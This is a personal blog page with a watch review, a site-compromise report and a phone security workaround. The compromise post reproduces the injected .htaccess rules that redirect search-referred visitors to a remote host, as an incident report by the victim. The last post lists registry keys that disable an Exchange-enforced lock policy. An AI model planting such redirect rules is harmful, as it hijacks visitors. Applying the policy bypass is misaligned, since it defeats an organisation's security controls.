Well, it’s a 6L15 with hand winding and hacking feature. I really like hand winding my watch. Besides reading time and adjusting time, hand winding is the closest thing with interacting with the watch.

Most of my Russian watches are hand windable, they tend to go “click click click” when you wind, it’s the click going against the ratchet wheel. The click also prevents the main spring from unwinding.

Anyway, on newer movements, like 6L15 and ETA 2824, the winding goes without such clicking. It’s has a sandy feel, like sticking something into the sand and twisting it.

That’s the main difference on hand winding for me and the hacking is a bonus feature.

The watch, chunky piece of metal with a beautiful finished dial, raised hour markers.

Signed crown, a very nice touch, as my other Seiko do not have any signed crown.

Head only, very nice mirror polish, thou it’s like a scratch magnet if you are not careful with poking through drilled lug.

Damn solid end links, also problematic as you can see from the following shots…

Sumo on leather, doesn’t cut it. The gap is way too wide.

Wrist shot with leather, the gaps look ok here, but you have to look at it in person.

Rubber, same issue but the gap is smaller, more acceptable.

Finally, with my straight ends Anvil. Doesn’t cut it too.

Ok, now for the comparisons.

Sinn-ko VS Sumo VS Monster, some commented about the fat fonts on Sumo.. well it’s a Sumo what.

Sinn-ko VS Sumo VS Monster crown shot, signed crown is nice.

Anvil & Stock Bracelet comparison, now here’s where some will pick on, the puny sized bracelet. It’s actually 20mm and tapered down ! I didn’t measure, but it’s around 18mm. I think it should be 22 and tapered to 20.

Sumo with butterfly wings.

Sinn-ko with heavy duty flappers.

Monster with hmmm, monster wings..

And sadly, it has parted to his new owner.

Recently I discovered some malicious activity on my other web host. I was going through my gallery, http://jiehong.net/gallery when after a few clicks, I got re-directed to ask.com. I thought I haven’t renew my subscription or my domain hosting.

After checking my subscriptions, all is fine. I went into cPanel to poke around. What can cause re-directions, I check the re-directions settings, sub-domains etc. Finally I discover some re-directing codes in some of my .htaccess.

Sample:

ErrorDocument 400 http://ake.kz/in.cgi?8
ErrorDocument 401 http://ake.kz/in.cgi?8
ErrorDocument 403 http://ake.kz/in.cgi?8
ErrorDocument 404 http://ake.kz/in.cgi?8
ErrorDocument 500 http://ake.kz/in.cgi?8

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://ake.kz/in.cgi?7 [R=301,L]

I discovered a folder was created in my public_html, “coming10/almost”. What’s almost, the hacking is almost done ?
I found the following files inside
– .htaccess
– doing83.html
– er404.php
– everyting40php
– thanks28.html

They all contain encoded javascript to redirect visitors to some site. MY VISITORS ! I reported to my web host, I wonder how much action can they take. They are using ClamAV to scan the /home. Oh well… I’m expecting somebody eye-balling the logs to determine the source of entry.

Now I still do not know how they got in, so I need to monitor my site very closely.

So as long as that 15min time out lock came back, I have to apply the hack settings again. Oh bummer..

When I first power on my HTC Touch Pro, I went through the start up wizard, it prompt me to set a phone lock pin and a timeout for activating the lock. I decided to go with 15mins, since I can change it later.

I decided to configure an Exchange profile on my Touch Pro for my office emails, since I have a Mobile Broadband plan with a 50GB data limit.

After the first day, I got pretty pissed off by the 15mins timeout. I tried changing it but it didn’t allow me to do that. I checked around and realise it’s actually a security policy which is pushed down by my corporate Exchange Server.

Firstly the 15mins timeout is too short, you don’t look at your phone every 10mins to see if you have any new SMS, missed calls or emails. So everytime when I wanted to make a call, reply a SMS, I have to enter my pin to unlock it.

Yes, I believe we should have security controls in place, it’s always a balance of Security and Usability. I am a working in the IT Security line , but it’s too frustrating.

I searched around and I found this workaround. I very surprised the hack published in a Microsoft blog ! Here’s the screen shot of the utility and you can download it here.

Finally, I didn’t disable the phone lock feature, I left it enabled as I did in all my previous phones. I just change the timeout to a more reasonable duration.

As you can see, you can disable the phone lock or modify the timeout duration. It actually modifies the value of several registry keys.

• Enable/Disable the Exchange security policy – HKLM\Security\Policies\00001023: 0 = Enabled; 1 = Disabled
• Inactivity time
  • HKLM\Comm\Security\Policy\LASSD\AE\{50C13377-C66D-400C-889E-C316FC4AB374}\AEFrequencyType: 0 = No inactivity time; 1 = Activity time enable
  • HKLM\Comm\Security\Policy\LASSD\AE\{50C13377-C66D-400C-889E-C316FC4AB374}\AEFrequencyValue: number of minutes before timeout

Remember, the security policy is there for a reason. You won’t want your phone to be picked up by somebody with malicous intent.